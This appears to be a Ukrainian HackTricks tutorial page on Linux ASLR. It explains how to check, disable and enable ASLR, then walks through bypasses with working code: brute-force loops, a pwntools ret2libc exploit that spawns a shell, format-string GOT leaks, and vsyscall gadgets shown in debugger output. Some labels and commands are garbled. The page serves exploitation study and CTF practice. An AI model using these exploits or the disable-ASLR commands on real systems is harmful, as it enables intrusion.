ASLR

Reading time: 10 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Address Space Layout Randomization (ASLR) - це техніка безпеки, що використовується в операційних системах для випадкового розташування адрес пам'яті, які використовуються системними та прикладними процесами. Це ускладнює зловмиснику передбачити місцезнаходження конкретних процесів і даних, таких як стек, купа та бібліотеки, що зменшує ризик певних типів експлойтів, зокрема переповнень буфера.

Перевірка статусу ASLR

Щоб перевірити статус ASLR на системі Linux, ви можете прочитати значення з файлу /proc/sys/kernel/randomize_va_space. Значення, збережене в цьому файлі, визначає тип ASLR, що застосовується:

  • 0: Немає випадкового розташування. Все статичне.
  • 1: Консервативне випадкове розташування. Спільні бібліотеки, стек, mmap(), сторінка VDSO випадкові.
  • 2: Повне випадкове розташування. На додаток до елементів, випадкових за допомогою консервативного випадкового розташування, пам'ять, керована через brk(), також випадкова.

Ви можете перевірити статус ASLR за допомогою наступної команди:

bash
cat /proc/sys/kernel/randomize_va_space

Вимкнення ASLR

Щоб вимкнути ASLR, ви повинні встановити значення /proc/sys/kernel/randomize_va_space на 0. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або налагодження. Ось як ви можете це зробити:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ви також можете вимкнути ASLR для виконання за допомогою:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Увімкнення ASLR

Щоб увімкнути ASLR, ви можете записати значення 2 у файл /proc/sys/kernel/randomize_va_space. Це зазвичай вимагає прав root. Увімкнення повної рандомізації можна зробити за допомогою наступної команди:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Стійкість під час перезавантаження

Зміни, внесені за допомогою команд echo, є тимчасовими і будуть скинуті після перезавантаження. Щоб зробити зміни постійними, вам потрібно відредагувати файл /etc/sysctl.conf і додати або змінити наступний рядок:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Після редагування /etc/sysctl.conf, застосуйте зміни за допомогою:

bash
sudo sysctl -p

Це забезпечить збереження ваших налаштувань ASLR після перезавантаження.

Обходи

32-бітний брутфорс

PaX ділить адресний простір процесу на 3 групи:

  • Код і дані (ініціалізовані та неініціалізовані): .text, .data та .bss —> 16 біт ентропії в змінній delta_exec. Ця змінна випадковим чином ініціалізується з кожним процесом і додається до початкових адрес.
  • Пам'ять, виділена за допомогою mmap(), та спільні бібліотеки —> 16 біт, названі delta_mmap.
  • Стек —> 24 біти, що називається delta_stack. Однак, фактично використовується 11 біт (з 10-го до 20-го байта включно), вирівняних на 16 байт —> Це призводить до 524,288 можливих реальних адрес стеку.

Попередні дані стосуються 32-бітних систем, а зменшена фінальна ентропія дозволяє обійти ASLR, повторюючи виконання знову і знову, поки експлойт не завершиться успішно.

Ідеї для брутфорсу:

  • Якщо у вас є достатньо великий переповнення, щоб вмістити великий NOP слайд перед shellcode, ви можете просто брутфорсити адреси в стеку, поки потік не стрибне через якусь частину NOP слайду.
  • Інший варіант для цього, якщо переповнення не таке велике, і експлойт можна запустити локально, — це додати NOP слайд і shellcode в змінну середовища.
  • Якщо експлойт локальний, ви можете спробувати брутфорсити базову адресу libc (корисно для 32-бітних систем):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Якщо ви атакуєте віддалений сервер, ви можете спробувати брутфорсити адресу функції libc usleep, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент сервер відповідає на 10 секунд довше, ви знайшли адресу цієї функції.

tip

У 64-бітних системах ентропія значно вища, і це не повинно бути можливим.

Брутфорс стеку 64 біти

Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб його експлуатувати.
Наступний код показує, як можливо просто вибрати адресу в стеці і кожні кілька сотень виконань ця адреса міститиме інструкцію NOP:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Локальна інформація (/proc/[pid]/stat)

Файл /proc/[pid]/stat процесу завжди доступний для читання всім і містить цікаву інформацію, таку як:

  • startcode & endcode: Адреси вище і нижче з TEXT бінарного файлу
  • startstack: Адреса початку стеку
  • start_data & end_data: Адреси вище і нижче, де знаходиться BSS
  • kstkesp & kstkeip: Поточні адреси ESP та EIP
  • arg_start & arg_end: Адреси вище і нижче, де знаходяться cli аргументи.
  • env_start &env_end: Адреси вище і нижче, де знаходяться змінні середовища.

Отже, якщо атакуючий знаходиться на тому ж комп'ютері, що й бінарний файл, який експлуатується, і цей бінарний файл не очікує переповнення з сирих аргументів, а з іншого входу, який можна створити після читання цього файлу. Атакуючий може отримати деякі адреси з цього файлу та побудувати з них офсети для експлуатації.

tip

Для отримання додаткової інформації про цей файл перегляньте https://man7.org/linux/man-pages/man5/proc.5.html, шукаючи /proc/pid/stat

Маючи витік

  • Виклик полягає у наданні витоку

Якщо вам надано витік (легкі CTF виклики), ви можете розрахувати офсети з нього (припустимо, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлуатації витягнуто з прикладу звідси (перегляньте цю сторінку для отримання додаткових деталей):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Зловживаючи переповненням буфера, можна експлуатувати ret2plt для ексфільтрації адреси функції з libc. Перевірте:

Ret2plt

  • Format Strings Arbitrary Read

Так само, як у ret2plt, якщо у вас є довільне читання через вразливість форматних рядків, можливо ексфільтрувати адресу функції libc з GOT. Наступний приклад звідси:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Ви можете знайти більше інформації про довільне читання форматних рядків у:

Format Strings

Ret2ret & Ret2pop

Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:

Ret2ret & Reo2pop

vsyscall

Механізм vsyscall служить для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони є фундаментальною частиною ядра. Критична перевага vsyscalls полягає в їх фіксованих адресах, які не підлягають ASLR (випадкове розташування адресного простору). Ця фіксована природа означає, що зловмисники не потребують вразливості витоку інформації, щоб визначити свої адреси та використовувати їх у експлойті.
Однак тут не буде знайдено супер цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент ret;)

(Наступний приклад і код є з цього опису)

Наприклад, зловмисник може використовувати адресу 0xffffffffff600800 в експлойті. Хоча спроба стрибнути безпосередньо до інструкції ret може призвести до нестабільності або збоїв після виконання кількох гаджетів, стрибок на початок syscall, наданого секцією vsyscall, може виявитися успішним. Обережно розміщуючи гаджет ROP, який веде виконання до цієї адреси vsyscall, зловмисник може досягти виконання коду без необхідності обходити ASLR для цієї частини експлойту.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Зверніть увагу, як може бути можливим обійти ASLR, використовуючи vdso, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:

Ret2vDSO

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks